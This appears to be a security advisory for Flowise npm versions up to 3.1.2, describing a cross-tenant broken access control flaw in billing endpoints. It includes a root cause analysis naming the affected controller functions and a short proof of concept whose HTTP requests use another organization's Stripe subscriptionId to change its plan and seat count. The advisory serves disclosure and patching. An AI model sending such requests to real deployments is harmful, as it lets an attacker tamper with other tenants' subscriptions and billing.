Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| flowise | npm | <= 3.1.2 | 3.1.3 |
Miggo AIRoot Cause AnalysisThe vulnerability lies in several methods within the OrganizationController class, which handle billing and subscription management. The core issue is a Broken Access Control vulnerability (CWE-284) where the application fails to verify that the Stripe identifiers (subscriptionId, customerId) supplied in API requests belong to the currently authenticated user's organization. The functions updateSubscriptionPlan and updateAdditionalSeats directly process these user-controlled identifiers to perform sensitive billing operations. The provided patch confirms this by adding an assertStripeIdMatchesSession check in these functions and others. This check ensures that the identifier from the request matches the one associated with the user's session. Before the patch, an authenticated attacker could call these endpoints with the subscriptionId of another organization to manipulate their subscription, leading to unauthorized plan changes or financial impact. The functions getSubscriptionWithUsage and getCustomer were similarly vulnerable, allowing an attacker to leak information about other tenants' subscriptions and customer details.
OrganizationController.updateSubscriptionPlanpackages/server/src/enterprise/controllers/organization.controller.ts
OrganizationController.updateAdditionalSeatspackages/server/src/enterprise/controllers/organization.controller.ts
OrganizationController.getSubscriptionWithUsagepackages/server/src/enterprise/controllers/organization.controller.ts
OrganizationController.getCustomerpackages/server/src/enterprise/controllers/organization.controller.ts
Again, the subscriptionId is taken directly from the request body without verifying ownership.
Step 1 - Obtain victim subscriptionId
This identifier may be obtained via the organization read endpoint or other exposed references.
Example:
sub_YYYYYYYYYYYY
Step 2 - Modify victim subscription
POST /api/v1/organization/update-subscription-plan
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json
{
"subscriptionId": "sub_YYYYYYYYYYYY",
"newPlanId": "free_plan_id",
"prorationDate": 1735689600
}
Step 3 - Change seat quantity
POST /api/v1/organization/update-additional-seats
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json
{
"subscriptionId": "sub_YYYYYYYYYYYY",
"quantity": 0,
"prorationDate": 1735689600
}
An authenticated attacker can manipulate the Stripe subscription of other organizations.
Possible consequences include:
Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.